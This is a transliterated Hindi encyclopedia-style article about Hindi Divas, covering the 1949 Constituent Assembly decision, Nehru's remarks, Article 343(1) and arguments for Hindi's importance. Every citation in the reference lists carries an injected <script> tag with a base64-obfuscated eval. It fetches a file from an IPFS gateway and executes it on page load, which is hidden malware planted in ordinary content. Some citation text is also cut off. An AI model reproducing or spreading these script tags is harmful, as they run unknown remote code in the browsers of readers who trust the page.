हिन्दी दिवस

	hindi divas
	dak tikat par hindi divas\|200px\|center
vivaran	hindi, vishv mean sarvadhik boli jane vali bhashaoan mean se ek hai aur apane ap mean ek samarth bhasha hai.
tithi	14 sitambar
uddeshy	hindi ka prachar-prasar hi 'hindi divas' ka mukhy uddeshy hai.
ayojan	is din vibhinn shasakiy - ashasakiy karyalayoan, shiksha sansthaoan adi mean vividh goshthiyoan, sammelanoan, pratiyogitaoan tatha any karyakramoan ka ayojan kiya jata hai. kahian-kahian 'hindi pakhavada' tatha 'rashtrabhasha saptah' ityadi bhi manaye jate haian.
sanbandhit lekh	vishv hindi divas
any janakari	rashtrabhasha prachar samiti, vardha ke anurodh par sanh 1953 se sanpoorn bharat mean 14 sitanbar ko prativarsh 'hindi divas' ke roop mean manaya jata hai.

hindi divas bharat mean pratyek varsh '14 sitambar' ko manaya jata hai. hindi vishv mean sarvadhik boli jane vali bhashaoan mean se ek hai aur apane ap mean ek samarth bhasha hai. prakriti se yah udar grahanashil, sahishnu aur bharat ki rashtriy chetana ki sanvahika hai. is din vibhinn shasakiy, ashasakiy karyalayoan, shiksha sansthaoan adi mean vividh goshthiyoan, sammelanoan, pratiyogitaoan tatha any karyakramoan ka ayojan kiya jata hai. kahian-kahian 'hindi pakhavada' tatha 'rashtrabhasha saptah' ityadi bhi manaye jate haian. vishv ki ek prachin, samriddh tatha mahan bhasha hone ke sath hi hindi hamari rashtrabhasha bhi hai, atah isake prati apana prem aur samman prakat karane ke lie aise ayojan svabhavik hi haian, parantu, duahkh ka vishay yah hai ki samay ke sath-sath ye ayojan keval aupacharikata matr banate ja rahe haian.^[1]

itihas

bharat ki svatantrata ke bad 14 sitanbar, 1949 ko sanvidhan sabha ne ek mat se yah nirnay liya ki hindi ki kh di boli hi bharat ki rajabhasha hogi. isi mahattvapoorn nirnay ke mahattv ko pratipadit karane tatha hindi ko har kshetr mean prasarit karane ke liye rashtrabhasha prachar samiti, vardha ke anurodh par san 1953 se sanpoorn bharat mean 14 sitanbar ko prativarsh 'hindi divas' ke roop mean manaya jata hai.

neharoo ji ka kathan

pandit javaharalal neharoo ne sanvidhan sabha mean 13 sitambar, 1949 ke din bahas mean bhag lete hue tin pramukh batean kahi thian-

kisi videshi bhasha se koee rashtr mahan nahian ho sakata.
koee bhi videshi bhasha am logoan ki bhasha nahian ho sakati.
bharat ke hit mean, bharat ko ek shaktishali rashtr banane ke hit mean, aisa rashtr banane ke hit mean jo apani atma ko pahachane, jise atmavishvas ho, jo sansar ke sath sahayog kar sake, hamean hindi ko apanana chahie.^[2]

bhasha vishayak bahas

javaharalal neharoo ki bahas 12 sitambar, 1949 ko char baje dopahar mean shuroo huee aur 14 sitanbar, 1949 ke din samapt huee. 14 sitambar ki sham bahas ke samapan ke bad bhasha sanbandhi sanvidhan ka tatkalin bhag '14 k' aur vartaman bhag 17, sanvidhan ka bhag ban gaya.thumb|left|hindi bharat ki rashtrabhasha hai sanvidhan sabha ki bhasha vishayak bahas lagabhag 278 prishthoan mean mudrit huee. isamean d aau. kanhaiyalal manikalal muanshi aur shri gopal svami ayangar ki mahati bhoomika rahi thi. bahas ke bad yah sahamati bani ki sangh ki bhasha hindi aur lipi devanagari hogi, kiantu devanagari mean likhe jane vale aankoan tatha aangrezi ko 15 varsh ya usase adhik avadhi tak prayog karane ke lie tikhi bahas huee. antat: ayangar-muanshi farmoola bhari bahumat se svikar hua. vastav mean aankoan ko chho dakar sangh ki rajabhasha ke prashn par adhikatar sadasy sahamat ho ge. aankoan ke bare mean bhi yah spasht tha ki aantarrashtriy aank bharatiy aankoan ka hi ek naya sanskaran hai. kuchh sadasyoan ne roman lipi ke paksh mean prastav rakha, lekin devanagari ko hi adhikatar sadasyoan ne svikar kiya.

svatantr bharat ki rajabhasha ke prashn par kafi vichar-vimarsh ke bad yah nirnay liya gaya, jo bharatiy sanvidhan ke bhag 17 ke adhyay ki dhara 343 (1) mean is prakar varnit hai-

sangh ki raj bhasha hindi aur lipi devanagari hogi. sangh ke rajakiy prayojanoan ke lie prayog hone vale aankoan ka roop aantarrashtriy roop hoga.

hindi ka mahattv

aj bharat-bhasha hindi bhavishy mean vishv-vani banane ke path par agrasar hai. vishv ke sarvadhik shaktishali rashtr amerika ke rashtrapati barak obama ekadhik avasaroan par amarikiyoan ko hindi sikhane ke liye sachet karate hue kah chuke haian ki- "hindi sikhe bina bhavishy mean kam nahian chalega". yah salah akaran hi nahian hai. bharat ko ubharati huee vishv-shakti ke roop mean sakal vishv mean jana ja raha hai. sanskrit tatha us par adharit hindi ko dhvani-vijnan aur door sanchari tarangoan ke madhyam se aantariksh mean any sabhyataoan ko sandesh bheje jane ki drishti se sarvadhik upayukt paya gaya hai.^[3]

sarvadhik upayukt bhasha

bharat mean bhale hi aangrezi bolana samman ki bat mani jati ho, par vishv ke bahusankhyak deshoan mean aangrezi ka itana mahattv nahian hai. hindi bolane mean hichak ka ekamatr karan poorv prathamik shiksha ke samay aangrezi madhyam ka chayan kiya jana hai. aj bhi bharat mean adhikatar avibhavak apane bachchoan ka dakhila aise skooloan mean karavana chahate haian, jo aangrezi madhyam se shiksha pradan karate haian. jabaki manovaijnanikoan ke anusar shishu sarvadhik asani se apani matr-bhasha ko hi grahan karata hai aur isi bhasha mean kisi bhi bat ko bhali-bhaanti samajh sakata hai. aangrezi bharatiyoan ki matribhasha nahian hai. at: bharat mean bachchoan ki shiksha ka sarvadhik upayukt madhyam hindi hi hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ hindi divas (hindi) (ech.ti.em.el) sangh parivar. abhigaman tithi: 26 disanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ himaanshu, rameshvar kamboj. hindi -divas aur hamari bhasha (hindi) (ech.ti.em.el) hindi gaurav. abhigaman tithi: 26 disanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ takaniki gatividhiyaan rashtriy bhasha mean (hindi). . abhigaman tithi: 14 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[1] vas (hindi) (ech.ti.em.el) sangh parivar. abhigaman tithi: 26 disanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] shu, rameshvar kamboj. hindi -divas aur hamari bhasha (hindi) (ech.ti.em.el) hindi gaurav. abhigaman tithi: 26 disanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] takaniki gatividhiyaan rashtriy bhasha mean (hindi). . abhigaman tithi: 14 sitambar, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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